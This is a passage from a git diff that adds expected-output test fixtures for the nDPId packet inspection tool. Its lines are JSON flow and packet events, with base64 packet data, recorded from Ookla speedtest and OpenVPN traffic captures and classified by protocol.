+00434{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":144245,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xCwDBkn+gCqojWksCABFAAA8AABAADMGWiUuLP27wKgBBx+QyA8qkdUorSOsy6ASOJC7tQAAAgQFrAQCCAp\/4XceDd4f9gEDAwU="} +00422{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":144357,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqojWksxCwDBkn+CABFAAA0VElAAEAGAADAqAEHLiz9u8gPH5CtI6zLKpHVKYAQECztvQAAAQEICg3eIBp\/4Xce"} +00426{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":172347,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"gCqojWksxCwDBkn+CABFAAA3225AAEAGAADAqAEHLiz9u8gPH5CtI6zLKpHVKYAYECztwAAAAQEICg3eIDZ\/4XceSEkK"} +00422{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":208262,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xCwDBkn+gCqojWksCABFAAA0og9AADMGuB0uLP27wKgBBx+QyA8qkdUprSOszoAQAcUg8AAAAQEICn\/hdy4N3iA2"} +00473{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":208334,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"xCwDBkn+gCqojWksCABFAABWohBAADMGt\/ouLP27wKgBBx+QyA8qkdUprSOszoAYAcVNWwAAAQEICn\/hdy4N3iA2SEVMTE8gMi40IDIwMTYtMTAtMDYuMTMyNC45OTZhYjkxCg=="} +00422{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":208406,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqojWksxCwDBkn+CABFAAA02dFAAEAGAADAqAEHLiz9u8gPH5CtI6zOKpHVS4AQECrtvQAAAQEICg3eIFp\/4Xcu"} +00450{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":246798,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"gCqojWksxCwDBkn+CABFAABHGIVAAEAGAADAqAEHLiz9u8gPH5CtI6zOKpHVS4AYECrt0AAAAQEICg3eIH9\/4XcuUElORyAxNDkxMDY5MTE1MjQ2Cg=="} +00451{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":280999,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"xCwDBkn+gCqojWksCABFAABHohFAADMGuAguLP27wKgBBx+QyA8qkdVLrSOs4YAYAcUkPAAAAQEICn\/hd0AN3iB\/UE9ORyAxNDkxMDY5MDc1MDI3Cg=="} +00423{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":281102,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqojWksxCwDBkn+CABFAAA04q5AAEAGAADAqAEHLiz9u8gPH5CtI6zhKpHVXoAQECrtvQAAAQEICg3eIKF\/4XdA"} +00451{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":308236,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"gCqojWksxCwDBkn+CABFAABHsWZAAEAGAADAqAEHLiz9u8gPH5CtI6zhKpHVXoAYECrt0AAAAQEICg3eILt\/4XdAUElORyAxNDkxMDY5MTE1MzA4Cg=="} +00451{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":342862,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"xCwDBkn+gCqojWksCABFAABHohJAADMGuAcuLP27wKgBBx+QyA8qkdVerSOs9IAYAcUdyQAAAQEICn\/hd08N3iC7UE9ORyAxNDkxMDY5MDc1MDg5Cg=="} +00423{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":342981,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqojWksxCwDBkn+CABFAAA05IBAAEAGAADAqAEHLiz9u8gPH5CtI6z0KpHVcYAQECntvQAAAQEICg3eIN5\/4XdP"} +00451{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":440646,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"gCqojWksxCwDBkn+CABFAABHO+BAAEAGAADAqAEHLiz9u8gPH5CtI6z0KpHVcYAYECnt0AAAAQEICg3eIT5\/4XdPUElORyAxNDkxMDY5MTE1NDQwCg=="} +00451{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":476067,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"xCwDBkn+gCqojWksCABFAABHohNAADMGuAYuLP27wKgBBx+QyA8qkdVxrSOtB4AYAcUjAwAAAQEICn\/hd3EN3iE+UE9ORyAxNDkxMDY5MDc1MjIyCg=="} diff --git a/test/results/openvpn.pcap.out b/test/results/openvpn.pcap.out new file mode 100644 index 000000000..e19b27c73 --- /dev/null +++ b/test/results/openvpn.pcap.out @@ -0,0 +1,53 @@ +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"openvpn.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1467904946700,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"46.101.231.218","src_port":60140,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904946,"pkt_ts_usec":700231,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"hCYVLjtSAA6OGXEMCABFAAA8ANVAAEAGYbLAqAFNLmXn2ursAbu+lXueAAAAAKACchBbjAAAAgQFtAQCCAoADXtLAAAAAAEDAwE="} +00434{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904946,"pkt_ts_usec":755145,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OGXEMhCYVLjtSCABFoAA8AABAADQGbecuZefawKgBTQG76uxsxVWWvpV7n6AScSBx2QAAAgQFtAQCCAoANCgCAA17SwEDAwE="} +00422{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904946,"pkt_ts_usec":755184,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVLjtSAA6OGXEMCABFAAA0ANZAAEAGYbnAqAFNLmXn2ursAbu+lXufbMVVl4AQOQjYsgAAAQEICgANe1AANCgC"} +00485{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":700508,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"hCYVLjtSAA6OGXEMCABFAABgANdAAEAGYYzAqAFNLmXn2ursAbu+lXufbMVVl4AYOQicxwAAAQEICgANe68ANCgCACo4krivSnd\/x0J4ECTCdtmhqMIyGHmgImSzzLyAdwAAAAFXfnOzAAAAAAA="} +00422{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":752893,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OGXEMhCYVLjtSCABFoAA0fZtAADQG8FMuZefawKgBTQG76uxsxVWXvpV7y4AQOJDXpgAAAQEICgA0KPsADXuv"} +00503{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":753377,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"AA6OGXEMhCYVLjtSCABFoABsfZxAADQG8BouZefawKgBTQG76uxsxVWXvpV7y4AYOJArBwAAAQEICgA0KPsADXuvADZA2RbEhgyx2M+jc8\/WYxWfwCU7Upc7GJ9\/bLnfiwAAAAFXfnN9AQAAAACSuK9Kd3\/HQgAAAAA="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"openvpn.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1467904946700,"flow_last_seen":1467904947753,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":32,"flow_max_l4_data_len":88,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"46.101.231.218","src_port":60140,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"OpenVPN","breed":"Acceptable","category":"VPN"}} +00422{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":753403,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVLjtSAA6OGXEMCABFAAA0ANhAAEAGYbfAqAFNLmXn2ursAbu+lXvLbMVVz4AQOQjW8QAAAQEICgANe7QANCj7"} +00497{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":753584,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"hCYVLjtSAA6OGXEMCABFAABoANlAAEAGYYLAqAFNLmXn2ursAbu+lXvLbMVVz4AYOQiyyQAAAQEICgANe7QANCj7ADIokrivSnd\/x0Iouku0o2HkwsWPIfcrIPU7eEbRwgAAAAJXfnOzAQAAAADZFsSGDLHYzw=="} +00423{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":829783,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OGXEMhCYVLjtSCABFoAA0fZ1AADQG8FEuZefawKgBTQG76uxsxVXPvpV7\/4AQOJDXIQAAAQEICgA0KQ8ADXu0"} +00839{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":829815,"pkt_caplen":371,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":371,"pkt_l4_len":337,"pkt":"hCYVLjtSAA6OGXEMCABFAAFlANpAAEAGYITAqAFNLmXn2ursAbu+lXv\/bMVVz4AYOQg7hQAAAQEICgANe7wANCkPAS8gkrivSnd\/x0LAXs9fORwHnNBm3BIWsy9PoaXcBAAAAANXfnOzAAAAAAEWAwEBAAEAAPwDA0IIecF+XjVaB5L\/7UNMC6jeab+Ay8pPndKUUlmAtDmJAACCwDDALMAowCTAFMAKAKUAowChAJ8AawBqAGkAaAA5ADgANwA2AIgAhwCGAIXAMsAuwCrAJsAPwAXAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADAARQBEAEMAQsAxwC3AKcAlwA7ABMASwAgAFgATABAADcANwAMA\/wEAAFEACwAEAwABAgAKABwAGgAXABkAHAAbABgAGgAWAA4ADQALAAwACQAKAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDAA8AAQE="} +00424{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":870784,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OGXEMhCYVLjtSCABFoAA0fZ5AADQG8FAuZefawKgBTQG76uxsxVXPvpV9MIAQOqjTxgAAAQEICgA0KRkADXu8"} +00637{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":873504,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"AA6OGXEMhCYVLjtSCABFoADQfZ9AADQG77MuZefawKgBTQG76uxsxVXPvpV9MIAYOqiJfwAAAQEICgA0KRoADXu8AJog2RbEhgyx2M+4THL22ajxu9H77yrCRMEHcpM3TwAAAAJXfnN9AQAAAAGSuK9Kd3\/HQgAAAAEWAwEAPgIAADoDAdsv5BfDEKASPdIXpnXLJkucn1XzAVpbrB0OAzb1N7EuAMAUAAAS\/wEAAQAACwAEAwABAgAPAAEBFgMBBZYLAAWSAAWPAALNMIICyTCCAbGgAwIBAgIBATAN"} +00619{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":873629,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AA6OGXEMhCYVLjtSCABFoADEfaBAADQG774uZefawKgBTQG76uxsxVZrvpV9MIAYOqj7QQAAAQEICgA0KRoADXu8AI4g2RbEhgyx2M9Mrzm02EMu2g85pVucEDsbpSzLdgAAAANXfnN9AAAAAAIGCSqGSIb3DQEBCwUAMBUxEzARBgNVBAMMCk9wZW5WUE4gQ0EwHhcNMTYwNjMwMDAyMTUwWhcNMjYwNzA1MDAyMTUwWjAZMRcwFQYDVQQDDA5PcGVuVlBOIFNlcnZlcjCCASIw"} +00499{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":873722,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"hCYVLjtSAA6OGXEMCABFAABoANtAAEAGYYDAqAFNLmXn2ursAbu+lX0wbMVW+4AYPTjldwAAAQEICgANe8AANCkaADIokrivSnd\/x0IgsSQoBwGaI6j9a4KhIGAHMQGGnAAAAARXfnOzAQAAAAHZFsSGDLHYzw=="} +00621{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467904947,"pkt_ts_usec":873768,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AA6OGXEMhCYVLjtSCABFoADEfaFAADQG770uZefawKgBTQG76uxsxVb7vpV9MIAYOqhk7QAAAQEICgA0KRoADXu8AI4g2RbEhgyx2M9AUI6Wwxd1JlWPcOIud6mUdCcDfgAAAARXfnN9AAAAAAMNBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA59FXmiVGxqnFY02\/6j5Iuqep8iuESkrmw26aLH7qVdJtZT5NihgUqSE1V9mjILMaOWRApR1iiQo1\/QCpZk5AEA7upxWSjy88"} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":96,"source":"openvpn.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":95,"flow_first_seen":1467904946700,"flow_last_seen":1467905010834,"flow_tot_l4_data_len":12150,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"46.101.231.218","src_port":60140,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":96,"source":"openvpn.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1470218591746,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.12","dst_ip":"139.59.151.137","src_port":41507,"dst_port":13680,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218591,"pkt_ts_usec":746723,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"mAyC0zx8AAjKQoXqCABFAABG3rhAAEARTXXAqCsMizuXiaIjNXAAMosJOLAsz\/G18BdPwJFmbjsSS62jkXMxe5OXItH+Y74AAAABV6HBXwAAAAAA"} +00466{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218591,"pkt_ts_usec":941902,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"AAjKQoXqmAyC0zx8CABFAABSYIhAADIR2ZmLO5eJwKgrDDVwoiMAPhWBQPd\/wu\/b4j9X3sTI1WVNByO\/jAvlQThWMnDPrhMAAAABV6HBXwEAAAAAsCzP8bXwF08AAAAA"} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":97,"source":"openvpn.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1470218591746,"flow_last_seen":1470218591941,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":50,"flow_max_l4_data_len":62,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.12","dst_ip":"139.59.151.137","src_port":41507,"dst_port":13680,"l4_proto":"udp","ndpi": {"proto":"OpenVPN","breed":"Acceptable","category":"VPN"}} +00462{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218591,"pkt_ts_usec":942539,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8AAjKQoXqCABFAABO3uZAAEARTT\/AqCsMizuXiaIjNXAAOpZEKLAsz\/G18BdPyDdJemqNaU65YLasCHjnV9mH+DAAAAACV6HBXwEAAAAA93\/C79viP1c="} +00801{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218591,"pkt_ts_usec":943377,"pkt_caplen":345,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":345,"pkt_l4_len":311,"pkt":"mAyC0zx8AAjKQoXqCABFAAFL3udAAEARTEHAqCsMizuXiaIjNXABN2YDILAsz\/G18BdPpXrCc4HfKvVooXdu\/RWr9x4wrZ0AAAADV6HBXwAAAAABFgMBAQABAAD8AwNE5fcPgzd79Sso6M19xG8bQl07yo41gslSLfJlFeywdgAAgsAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFwC\/AK8AnwCPAE8AJAKQAogCgAJ4AZwBAAD8APgAzADIAMQAwAEUARABDAELAMcAtwCnAJcAOwATAEsAIABYAEwAQAA3ADcADAP8BAABRAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEB"} +00605{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":119150,"pkt_caplen":196,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":196,"pkt_l4_len":162,"pkt":"AAjKQoXqmAyC0zx8CABFAAC2YKNAADIR2RqLO5eJwKgrDDVwoiMAohzKIPd\/wu\/b4j9X60eERHhjQN5zfeMCAdw3JKHt7ZoAAAACV6HBXwEAAAABsCzP8bXwF08AAAABFgMDAD4CAAA6AwNhg33pw8JOvroEJqnLpGmzYm+g0be9hVzmVAUEjVB5vQDAMAAAEv8BAAEAAAsABAMAAQIADwABARYDAwWWCwAFkgAFjwACzTCCAskwggGxoAMCAQICAQEwDQ=="} +00464{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":119557,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8AAjKQoXqCABFAABO3vJAAEARTTPAqCsMizuXiaIjNXAAOm63KLAsz\/G18BdPWFv2Y+8tQ0p\/3eUMHRRYDB5\/KYgAAAAEV6HBXwEAAAAB93\/C79viP1c="} +00589{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":119685,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"AAjKQoXqmAyC0zx8CABFAACqYKRAADIR2SWLO5eJwKgrDDVwoiMAlmNoIPd\/wu\/b4j9XXT+sHaw55y7jT7NqaDC3NTEl1hkAAAADV6HBXwAAAAACBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDDApPcGVuVlBOIENBMB4XDTE2MDcyNzA5MzE1OFoXDTI2MDgwMTA5MzE1OFowGTEXMBUGA1UEAwwOT3BlblZQTiBTZXJ2ZXIwggEiMA=="} +00463{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":120033,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8AAjKQoXqCABFAABO3vNAAEARTTLAqCsMizuXiaIjNXAAOmAGKLAsz\/G18BdPzrT\/QvhtqKLQJ7nQahdxQTVnSZYAAAAFV6HBXwEAAAAC93\/C79viP1c="} +00591{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":120185,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"AAjKQoXqmAyC0zx8CABFAACqYKVAADIR2SSLO5eJwKgrDDVwoiMAlvHuIPd\/wu\/b4j9XFRm9tcXQ8nD21YJvnC0q0080xdAAAAAEV6HBXwAAAAADDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALJXS+hGEnAWA1fhvJ6HcpP9aGUCaiB5Xrn0LKMUwbe+iP05Z0kqzLD\/tJGeBLU2b1+gL3GmHVKonTrG\/siAnxhOhEqZbB8Qgw=="} 